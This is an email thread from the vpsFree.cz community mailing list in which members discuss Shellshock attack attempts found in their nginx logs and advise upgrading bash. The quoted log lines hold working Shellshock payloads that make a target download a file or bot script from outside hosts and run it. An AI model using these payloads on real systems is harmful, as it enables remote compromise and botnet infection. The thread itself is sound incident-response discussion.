<html>
<head>
<meta content="text/html; charset=utf-8" http-equiv="Content-Type">
</head>
<body text="#000000" bgcolor="#FFFFFF">
On 09/29/2014 10:33 AM, Jiří Medvěd wrote:<br>
<blockquote type="cite">Tak jsem to zkoumal a toto je celkem
bezpecne, je to zda se pouze<br>
test, zda-li je ten bash zranitelnej, ale ve skutecnosti to nic
nedela.<br>
<br>
74.201.85.69/ec.z -> je pouze uvitaci stranka nginxu.<br>
</blockquote>
<br>
ted jo. Ale pred par dny to byl nejaky perlovsky irc bot.<br>
<br>
<br>
<blockquote type="cite"><br>
Upgraduj hlavne ten bash :)<br>
<br>
Medved<br>
<br>
Dne 29.9.2014 v 10:23 René Klačan napsal(a):<br>
> Ja mam v logoch nasledovne<br>
<br>
> root@yuna /home/rene # grep '() {' /var/log/nginx/* <br>
> /var/log/nginx/access.log:70.42.149.67 - -
[28/Sep/2014:08:18:37<br>
> +0200] "GET /test HTTP/1.0" 200 193 "-" "() { :;}; /bin/bash
-c<br>
> \x22wget -O /var/tmp/ec.z *MailScanner has detected a
possible<br>
> fraud attempt from "74.201.85.69" claiming to be*
*MailScanner<br>
> warning: numerical links are often malicious:*<br>
> 74.201.85.69/ec.z;chmod
<a class="moz-txt-link-rfc2396E" href="http://74.201.85.69/ec.z;chmod"><font color="red"><b>MailScanner warning: numerical links are often malicious:</b></font> <http://74.201.85.69/ec.z;chmod></a> +x<br>
> /var/tmp/ec.z;/var/tmp/ec.z;rm -rf /var/tmp/ec.z*\x22" <br>
> /var/log/nginx/access.log:70.42.149.67 - -
[28/Sep/2014:08:18:37<br>
> +0200] "GET / HTTP/1.0" 200 193 "-" "() { :;}; /bin/bash -c<br>
> \x22wget -O /var/tmp/ec.z *MailScanner has detected a
possible<br>
> fraud attempt from "74.201.85.69" claiming to be*
*MailScanner<br>
> warning: numerical links are often malicious:*<br>
> 74.201.85.69/ec.z;chmod
<a class="moz-txt-link-rfc2396E" href="http://74.201.85.69/ec.z;chmod"><font color="red"><b>MailScanner warning: numerical links are often malicious:</b></font> <http://74.201.85.69/ec.z;chmod></a> +x<br>
> /var/tmp/ec.z;/var/tmp/ec.z;rm -rf /var/tmp/ec.z*\x22" <br>
> /var/log/nginx/access.log:70.42.149.67 - -
[28/Sep/2014:08:18:37<br>
> +0200] "GET /cgi-bin/test.sh HTTP/1.0" 200 193 "-" "() { :;};<br>
> /bin/bash -c \x22wget -O /var/tmp/ec.z *MailScanner has
detected a<br>
> possible fraud attempt from "74.201.85.69" claiming to be*<br>
> *MailScanner warning: numerical links are often malicious:*<br>
> 74.201.85.69/ec.z;chmod
<a class="moz-txt-link-rfc2396E" href="http://74.201.85.69/ec.z;chmod"><font color="red"><b>MailScanner warning: numerical links are often malicious:</b></font> <http://74.201.85.69/ec.z;chmod></a> +x<br>
> /var/tmp/ec.z;/var/tmp/ec.z;rm -rf /var/tmp/ec.z*\x22" <br>
> /var/log/nginx/access.log.1:209.126.230.72 - -<br>
> [25/Sep/2014:07:26:09 +0200] "GET / HTTP/1.0" 200 193 "() {
:; };<br>
> ping -c 11 209.126.230.74" "shellshock-scan <br>
>
(<a class="moz-txt-link-freetext" href="http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html">http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html</a>)"<br>
<br>
<br>
/var/log/nginx/access.log.1:89.207.135.125 - -
[25/Sep/2014:11:26:32<br>
> +0200] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 200 193 "-"
"() {<br>
> :;}; /bin/ping -c 1 198.101.206.138" <br>
> /var/log/nginx/access.log.1:54.251.83.67 - -
[27/Sep/2014:21:35:34 <br>
> +0200] "GET / HTTP/1.1" 200 193 "-" "() { :;}; /bin/bash -c<br>
> \x22echo testing9123123\x22; /bin/uname -a" <br>
> /var/log/nginx/access.log.1:137.189.52.234 - -<br>
> [27/Sep/2014:23:18:23 +0200] "GET /cgi-bin/test-cgi HTTP/1.0"
200<br>
> 193 "-" "() { :;}; /bin/bash -c \x22wget<br>
> <a class="moz-txt-link-freetext" href="http://stablehost.us/bots/regular.bot">http://stablehost.us/bots/regular.bot</a> -O /tmp/sh;curl -o
/tmp/sh<br>
> <a class="moz-txt-link-freetext" href="http://stablehost.us/bots/regular.bot;sh">http://stablehost.us/bots/regular.bot;sh</a> /tmp/sh;rm -rf<br>
> /tmp/sh\x22"<br>
<br>
> vyzera to trochu zle :-/ ... co odporucate s tym robit?
killnut<br>
> len podozrive procesy? a pohladat nejake stopy po tom, ci sa<br>
> nezapinaju po restarte?<br>
<br>
<br>
> 2014-09-29 10:10 GMT+02:00 Michal Miklos <<a class="moz-txt-link-abbreviated" href="mailto:mimik@mimik.sk">mimik@mimik.sk</a> <br>
> <a class="moz-txt-link-rfc2396E" href="mailto:mimik@mimik.sk"><mailto:mimik@mimik.sk></a>>:<br>
<br>
> jedine si zistit ci mas dobru verziu bashu.<br>
<br>
<br>
> On 29 Sep 2014, at 10:08, Jan B. Kolář<br>
> <<a class="moz-txt-link-abbreviated" href="mailto:janbivoj.kolar@zazen-nudu.cz">janbivoj.kolar@zazen-nudu.cz</a> <br>
> <a class="moz-txt-link-rfc2396E" href="mailto:janbivoj.kolar@zazen-nudu.cz"><mailto:janbivoj.kolar@zazen-nudu.cz></a>> wrote:<br>
<br>
>> Ahoj,<br>
>><br>
>> možná hloupá otázka - dá se nějak z logu zjistit, zda ten
průnik<br>
> byl úspěšný či nikoliv?<br>
>><br>
>> Honza<br>
>><br>
>> On 29.9.2014 10 <tel:29.9.2014%2010>:02, Petr
Krcmar wrote:<br>
>>> Dne 29.9.2014 v 09:57 Jiří Medvěd napsal(a):<br>
>>>> Hele,<br>
>>>><br>
>>>> z jineho stroje:<br>
>>> Ano, to jsem našel taky. Zjevně se tam někdo snaží
tlačit<br>
>>> rootkit:<br>
>>><br>
>>>
<a class="moz-txt-link-freetext" href="http://petrkrcmar.blog.root.cz/2014/09/29/utoky-na-bash-uz-bezi/">http://petrkrcmar.blog.root.cz/2014/09/29/utoky-na-bash-uz-bezi/</a><br>
<br>
>>><br>
>><br>
>><br>
>> _______________________________________________
Community-list<br>
>> mailing list <a class="moz-txt-link-abbreviated" href="mailto:Community-list@lists.vpsfree.cz">Community-list@lists.vpsfree.cz</a><br>
> <a class="moz-txt-link-rfc2396E" href="mailto:Community-list@lists.vpsfree.cz"><mailto:Community-list@lists.vpsfree.cz></a><br>
>> <a class="moz-txt-link-freetext" href="http://lists.vpsfree.cz/listinfo/community-list">http://lists.vpsfree.cz/listinfo/community-list</a><br>
<br>
<br>
> _______________________________________________
Community-list<br>
> mailing list <a class="moz-txt-link-abbreviated" href="mailto:Community-list@lists.vpsfree.cz">Community-list@lists.vpsfree.cz</a><br>
> <a class="moz-txt-link-rfc2396E" href="mailto:Community-list@lists.vpsfree.cz"><mailto:Community-list@lists.vpsfree.cz></a> <br>
> <a class="moz-txt-link-freetext" href="http://lists.vpsfree.cz/listinfo/community-list">http://lists.vpsfree.cz/listinfo/community-list</a><br>
<br>
<br>
<br>
<br>
> _______________________________________________
Community-list<br>
> mailing list <a class="moz-txt-link-abbreviated" href="mailto:Community-list@lists.vpsfree.cz">Community-list@lists.vpsfree.cz</a> <br>
> <a class="moz-txt-link-freetext" href="http://lists.vpsfree.cz/listinfo/community-list">http://lists.vpsfree.cz/listinfo/community-list</a><br>
<br>
</blockquote>
<span style="white-space: pre;">>
_______________________________________________<br>
> Community-list mailing list<br>
> <a class="moz-txt-link-abbreviated" href="mailto:Community-list@lists.vpsfree.cz">Community-list@lists.vpsfree.cz</a><br>
> <a class="moz-txt-link-freetext" href="http://lists.vpsfree.cz/listinfo/community-list">http://lists.vpsfree.cz/listinfo/community-list</a></span><br>
<br>
<br>
</body>
</html>